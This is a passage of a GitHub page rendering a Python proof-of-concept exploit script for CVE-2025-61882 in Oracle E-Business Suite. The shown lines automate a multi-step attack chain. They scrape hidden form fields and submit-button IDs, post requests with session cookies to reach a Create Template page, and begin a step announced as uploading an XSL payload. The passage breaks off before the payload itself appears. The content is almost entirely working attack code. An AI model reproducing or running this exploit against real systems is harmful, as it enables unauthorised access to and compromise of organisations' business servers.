          <td id="file-ebs_cve-2025-61882_poc-py-LC140" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L141" class="blob-num js-line-number js-blob-rnum" data-line-number="141"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC141" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L142" class="blob-num js-line-number js-blob-rnum" data-line-number="142"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC142" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form_tag</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L143" class="blob-num js-line-number js-blob-rnum" data-line-number="143"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC143" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form_tag</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L144" class="blob-num js-line-number js-blob-rnum" data-line-number="144"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC144" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L145" class="blob-num js-line-number js-blob-rnum" data-line-number="145"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC145" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L146" class="blob-num js-line-number js-blob-rnum" data-line-number="146"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC146" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L147" class="blob-num js-line-number js-blob-rnum" data-line-number="147"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC147" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form_tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L148" class="blob-num js-line-number js-blob-rnum" data-line-number="148"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC148" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L149" class="blob-num js-line-number js-blob-rnum" data-line-number="149"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC149" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L150" class="blob-num js-line-number js-blob-rnum" data-line-number="150"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC150" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L151" class="blob-num js-line-number js-blob-rnum" data-line-number="151"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC151" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L152" class="blob-num js-line-number js-blob-rnum" data-line-number="152"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC152" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L153" class="blob-num js-line-number js-blob-rnum" data-line-number="153"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC153" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L154" class="blob-num js-line-number js-blob-rnum" data-line-number="154"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC154" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L155" class="blob-num js-line-number js-blob-rnum" data-line-number="155"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC155" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L156" class="blob-num js-line-number js-blob-rnum" data-line-number="156"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC156" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L157" class="blob-num js-line-number js-blob-rnum" data-line-number="157"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC157" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L158" class="blob-num js-line-number js-blob-rnum" data-line-number="158"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC158" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span> <span class="pl-k">if</span> <span class="pl-s1">value</span> <span class="pl-k">else</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L159" class="blob-num js-line-number js-blob-rnum" data-line-number="159"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC159" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L160" class="blob-num js-line-number js-blob-rnum" data-line-number="160"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC160" class="blob-code blob-code-inner js-file-line">   </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L161" class="blob-num js-line-number js-blob-rnum" data-line-number="161"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC161" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">create_btn</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">"button"</span>, {<span class="pl-s">"id"</span>: <span class="pl-s">"Create"</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L162" class="blob-num js-line-number js-blob-rnum" data-line-number="162"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC162" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L163" class="blob-num js-line-number js-blob-rnum" data-line-number="163"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC163" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">create_btn</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L164" class="blob-num js-line-number js-blob-rnum" data-line-number="164"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC164" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">create_btn</span>.<span class="pl-c1">get</span>(<span class="pl-s">"onclick"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L165" class="blob-num js-line-number js-blob-rnum" data-line-number="165"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC165" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"'_FORM_SUBMIT_BUTTON':'([^']+)'"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L166" class="blob-num js-line-number js-blob-rnum" data-line-number="166"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC166" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L167" class="blob-num js-line-number js-blob-rnum" data-line-number="167"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC167" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">submit_id</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L168" class="blob-num js-line-number js-blob-rnum" data-line-number="168"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC168" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Found Create Button ID: {submit_id}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L169" class="blob-num js-line-number js-blob-rnum" data-line-number="169"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC169" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L170" class="blob-num js-line-number js-blob-rnum" data-line-number="170"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC170" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'_FORM_SUBMIT_BUTTON'</span>] <span class="pl-c1">=</span> <span class="pl-s1">submit_id</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L171" class="blob-num js-line-number js-blob-rnum" data-line-number="171"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC171" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L172" class="blob-num js-line-number js-blob-rnum" data-line-number="172"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC172" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'event'</span>] <span class="pl-c1">=</span> <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L173" class="blob-num js-line-number js-blob-rnum" data-line-number="173"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC173" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'source'</span>] <span class="pl-c1">=</span> <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L174" class="blob-num js-line-number js-blob-rnum" data-line-number="174"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC174" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L175" class="blob-num js-line-number js-blob-rnum" data-line-number="175"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC175" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Regex failed on onclick text"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L176" class="blob-num js-line-number js-blob-rnum" data-line-number="176"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC176" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L177" class="blob-num js-line-number js-blob-rnum" data-line-number="177"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC177" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L178" class="blob-num js-line-number js-blob-rnum" data-line-number="178"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC178" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Could not find Create Template button"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L179" class="blob-num js-line-number js-blob-rnum" data-line-number="179"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC179" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L180" class="blob-num js-line-number js-blob-rnum" data-line-number="180"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC180" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L181" class="blob-num js-line-number js-blob-rnum" data-line-number="181"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC181" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Sending POST request to navigate to Create Page..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L182" class="blob-num js-line-number js-blob-rnum" data-line-number="182"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC182" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L183" class="blob-num js-line-number js-blob-rnum" data-line-number="183"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC183" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L184" class="blob-num js-line-number js-blob-rnum" data-line-number="184"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC184" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L185" class="blob-num js-line-number js-blob-rnum" data-line-number="185"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC185" class="blob-code blob-code-inner js-file-line">                </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L186" class="blob-num js-line-number js-blob-rnum" data-line-number="186"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC186" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Create Template"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span> <span class="pl-c1">and</span> <span class="pl-s">"AttachData_oafileUpload"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L187" class="blob-num js-line-number js-blob-rnum" data-line-number="187"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC187" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span> </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L188" class="blob-num js-line-number js-blob-rnum" data-line-number="188"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC188" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L189" class="blob-num js-line-number js-blob-rnum" data-line-number="189"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC189" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed. Still on Search page or Error."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L190" class="blob-num js-line-number js-blob-rnum" data-line-number="190"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC190" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s1">r</span>.<span class="pl-c1">text</span>[:<span class="pl-c1">500</span>])</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L191" class="blob-num js-line-number js-blob-rnum" data-line-number="191"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC191" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L192" class="blob-num js-line-number js-blob-rnum" data-line-number="192"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC192" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L193" class="blob-num js-line-number js-blob-rnum" data-line-number="193"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC193" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L194" class="blob-num js-line-number js-blob-rnum" data-line-number="194"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC194" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"Error: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L195" class="blob-num js-line-number js-blob-rnum" data-line-number="195"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC195" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L196" class="blob-num js-line-number js-blob-rnum" data-line-number="196"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC196" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_3</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L197" class="blob-num js-line-number js-blob-rnum" data-line-number="197"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC197" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 3: Parsing Create Template Page &amp; Uploading XSL Payload..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L198" class="blob-num js-line-number js-blob-rnum" data-line-number="198"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC198" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L199" class="blob-num js-line-number js-blob-rnum" data-line-number="199"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC199" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L200" class="blob-num js-line-number js-blob-rnum" data-line-number="200"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC200" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L201" class="blob-num js-line-number js-blob-rnum" data-line-number="201"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC201" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L202" class="blob-num js-line-number js-blob-rnum" data-line-number="202"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC202" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L203" class="blob-num js-line-number js-blob-rnum" data-line-number="203"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC203" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L204" class="blob-num js-line-number js-blob-rnum" data-line-number="204"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC204" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L205" class="blob-num js-line-number js-blob-rnum" data-line-number="205"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC205" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L206" class="blob-num js-line-number js-blob-rnum" data-line-number="206"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC206" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L207" class="blob-num js-line-number js-blob-rnum" data-line-number="207"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC207" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L208" class="blob-num js-line-number js-blob-rnum" data-line-number="208"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC208" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L209" class="blob-num js-line-number js-blob-rnum" data-line-number="209"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC209" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L210" class="blob-num js-line-number js-blob-rnum" data-line-number="210"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC210" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L211" class="blob-num js-line-number js-blob-rnum" data-line-number="211"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC211" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L212" class="blob-num js-line-number js-blob-rnum" data-line-number="212"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC212" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L213" class="blob-num js-line-number js-blob-rnum" data-line-number="213"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC213" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L214" class="blob-num js-line-number js-blob-rnum" data-line-number="214"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC214" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L215" class="blob-num js-line-number js-blob-rnum" data-line-number="215"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC215" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L216" class="blob-num js-line-number js-blob-rnum" data-line-number="216"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC216" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L217" class="blob-num js-line-number js-blob-rnum" data-line-number="217"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC217" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L218" class="blob-num js-line-number js-blob-rnum" data-line-number="218"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC218" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">temp_type_val</span> <span class="pl-c1">=</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L219" class="blob-num js-line-number js-blob-rnum" data-line-number="219"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC219" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">temp_type_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'TempType'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L220" class="blob-num js-line-number js-blob-rnum" data-line-number="220"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC220" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">temp_type_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L221" class="blob-num js-line-number js-blob-rnum" data-line-number="221"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC221" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">for</span> <span class="pl-s1">option</span> <span class="pl-c1">in</span> <span class="pl-s1">temp_type_select</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'option'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L222" class="blob-num js-line-number js-blob-rnum" data-line-number="222"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC222" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s">"XSL-HTML"</span> <span class="pl-c1">in</span> <span class="pl-s1">option</span>.<span class="pl-c1">text</span>: </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L223" class="blob-num js-line-number js-blob-rnum" data-line-number="223"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC223" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">temp_type_val</span> <span class="pl-c1">=</span> <span class="pl-s1">option</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L224" class="blob-num js-line-number js-blob-rnum" data-line-number="224"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC224" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">break</span></td>
